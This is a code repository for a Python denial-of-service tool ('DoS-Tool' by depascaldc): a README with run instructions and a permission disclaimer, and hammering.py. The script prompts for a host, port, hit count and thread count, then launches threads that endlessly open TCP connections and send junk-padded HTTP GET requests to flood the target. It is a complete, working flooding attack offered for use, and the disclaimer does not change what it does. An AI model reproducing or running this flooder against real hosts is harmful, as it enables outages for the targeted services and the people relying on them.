├── .gitignore ├── README.md └── hammering.py /.gitignore: -------------------------------------------------------------------------------- 1 | /__pycache__/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Denial of Service (DoS) Attack Script 2 | 3 | ``` 4 | ____ ____ _____ _ 5 | | _ \ ___/ ___| |_ _|__ ___ | | 6 | | | | |/ _ \___ \ _____| |/ _ \ / _ \| | 7 | | |_| | (_) |__) |_____| | (_) | (_) | | 8 | |____/ \___/____/ |_|\___/ \___/|_| 9 | 10 | written by: depascaldc 11 | for private USAGE ONLY 12 | Make sure you have the 13 | permission to attack the 14 | given host 15 | 16 | ``` 17 | 18 | --- 19 | ### written by depascaldc 20 | 21 | - 22 | - customizable host / port / threads / hits per run 23 | - 24 | - command to start: `python3 hammering.py` 25 | - 26 | --- 27 | INSTALLING PYTHON ON LINUX: 28 | ``` 29 | $ sudo apt-get install software-properties-common 30 | $ sudo add-apt-repository ppa:deadsnakes/ppa 31 | $ sudo apt-get update 32 | $ sudo apt-get install python3 33 | ``` 34 | INSTALLING PYTHON ON WINDOWS: 35 | ``` 36 | Step 1: Select Version of Python to Install. Here: https://www.python.org/downloads/windows/ 37 | Step 2: Download Python Executable Installer. 38 | Step 3: Run The Executable Installer. 39 | Step 4: Verify Python Was Installed On Windows. 40 | Step 5: Verify Pip Was Installed. 41 | Step 6: Add Python Path to Environment Variables (Optional) 42 | ``` 43 | --- 44 | ![](https://cdn.discordapp.com/attachments/611010515388334080/671547384886591518/unknown.png) 45 | --- 46 | 47 | ### EN - Disclaimer: 48 | ```md 49 | THIS TOOL WAS WRITTEN FOR PRIVATE USAGE ONLY! 50 | 51 | Make sure you have right permissions to conduct DoS attacks on the target system. 52 | 53 | These DoS script is intended for testing purposes only. 54 | 55 | I'm not to be held responsible for any result arising from a DoS attack launched using these script 56 | ``` 57 | --- 58 | ### DE - Haftungsausschluss: 59 | ```md 60 | DIESES TOOL WURDE NUR FÜR DEN PRIVATEN GEBRAUCH GESCHRIEBEN! 61 | 62 | Stellen Sie sicher, dass Sie über die erforderlichen Berechtigungen zum Ausführen von DoS-Angriffen auf das Zielsystem verfügen. 63 | 64 | Dieses DoS-Skript dient nur zu Testzwecken. 65 | 66 | Ich bin nicht verantwortlich für irgendwelche Ergebnisse, die sich aus einem DoS-Angriff ergeben, der mit diesem Skript gestartet wurde 67 | ``` 68 | --- 69 | 70 | ### Thanks for usng this Tool 71 | #### - depascaldc -------------------------------------------------------------------------------- /hammering.py: -------------------------------------------------------------------------------- 1 | 2 | """ 3 | /* 4 | * This DOS-TOOL was written by depascaldc ( Discord: depascaldc#1234 ) < service@depascaldc.de > 5 | * Copying for PRIVATE usage is allowed as long as you don't mention it as your own. 6 | * Copyright (C) 2020 | depascaldc | All Rights Reserved 7 | * 8 | */ 9 | """ 10 | 11 | import socket 12 | import time 13 | import os 14 | import random 15 | 16 | from threading import Thread 17 | 18 | os.system("clear") 19 | 20 | if not __name__ == "__main__": 21 | exit() 22 | 23 | class ConsoleColors: 24 | HEADER = '\033[95m' 25 | OKBLUE = '\033[94m' 26 | OKGREEN = '\033[92m' 27 | WARNING = '\033[93m' 28 | FAIL = '\033[91m' 29 | BOLD = '\033[1m' 30 | 31 | print(ConsoleColors.BOLD + ConsoleColors.WARNING + ''' 32 | ____ ____ _____ _ 33 | | _ \ ___/ ___| |_ _|__ ___ | | 34 | | | | |/ _ \___ \ _____| |/ _ \ / _ \| | 35 | | |_| | (_) |__) |_____| | (_) | (_) | | 36 | |____/ \___/____/ |_|\___/ \___/|_| 37 | 38 | written by: depascaldc 39 | for private USAGE ONLY 40 | Make sure you have the 41 | permission to attack the 42 | given host 43 | 44 | ''') 45 | 46 | def getport(): 47 | try: 48 | p = int(input(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "Port:\r\n")) 49 | return p 50 | except ValueError: 51 | print(ConsoleColors.BOLD + ConsoleColors.WARNING + "ERROR Port must be a number, Set Port to default " + ConsoleColors.OKGREEN + "80") 52 | return 80 53 | 54 | host = input(ConsoleColors.BOLD + ConsoleColors.OKBLUE + "Host:\r\n") 55 | port = getport() 56 | speedPerRun = int(input(ConsoleColors.BOLD + ConsoleColors.HEADER + "Hits Per Run:\r\n")) 57 | threads = int(input(ConsoleColors.BOLD + ConsoleColors.WARNING + "Thread Count:\r\n")) 58 | 59 | ip = socket.gethostbyname(host) 60 | 61 | bytesToSend = random._urandom(2450) 62 | 63 | i = 0; 64 | 65 | 66 | 67 | class Count: 68 | packetCounter = 0 69 | 70 | def goForDosThatThing(): 71 | try: 72 | while True: 73 | dosSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 74 | try: 75 | dosSocket.connect((ip, port)) 76 | for i in range(speedPerRun): 77 | try: 78 | dosSocket.send(str.encode("GET ") + bytesToSend + str.encode(" HTTP/1.1 \r\n")) 79 | dosSocket.sendto(str.encode("GET ") + bytesToSend + str.encode(" HTTP/1.1 \r\n"), (ip, port)) 80 | print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "-----< PACKET " + ConsoleColors.FAIL + str(Count.packetCounter) + ConsoleColors.OKGREEN + " SUCCESSFUL SENT AT: " + ConsoleColors.FAIL + time.strftime("%d-%m-%Y %H:%M:%S", time.gmtime()) + ConsoleColors.OKGREEN + " >-----") 81 | Count.packetCounter = Count.packetCounter + 1 82 | except socket.error: 83 | print(ConsoleColors.WARNING + "ERROR, Maybe the host is down?!?!") 84 | except KeyboardInterrupt: 85 | print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user") 86 | except socket.error: 87 | print(ConsoleColors.WARNING + "ERROR, Maybe the host is down?!?!") 88 | except KeyboardInterrupt: 89 | print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user") 90 | dosSocket.close() 91 | except KeyboardInterrupt: 92 | print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user") 93 | try: 94 | 95 | print(ConsoleColors.BOLD + ConsoleColors.OKBLUE + ''' 96 | _ _ _ _ ____ _ _ _ 97 | / \ | |_| |_ __ _ ___| | __ / ___|| |_ __ _ _ __| |_(_)_ __ __ _ 98 | / _ \| __| __/ _` |/ __| |/ / \___ \| __/ _` | '__| __| | '_ \ / _` | 99 | / ___ \ |_| || (_| | (__| < ___) | || (_| | | | |_| | | | | (_| | 100 | /_/ \_\__|\__\__,_|\___|_|\_\ |____/ \__\__,_|_| \__|_|_| |_|\__, | 101 | |___/ 102 | ''') 103 | print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "LOADING >> [ ] 0% ") 104 | time.sleep(1) 105 | print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "LOADING >> [===== ] 25%") 106 | time.sleep(1) 107 | print(ConsoleColors.BOLD + ConsoleColors.WARNING + "LOADING >> [========== ] 50%") 108 | time.sleep(1) 109 | print(ConsoleColors.BOLD + ConsoleColors.WARNING + "LOADING >> [=============== ] 75%") 110 | time.sleep(1) 111 | print(ConsoleColors.BOLD + ConsoleColors.FAIL + "LOADING >> [====================] 100%") 112 | 113 | for i in range(threads): 114 | try: 115 | t = Thread(target=goForDosThatThing) 116 | t.start() 117 | except KeyboardInterrupt: 118 | print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user") 119 | except KeyboardInterrupt: 120 | print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user") --------------------------------------------------------------------------------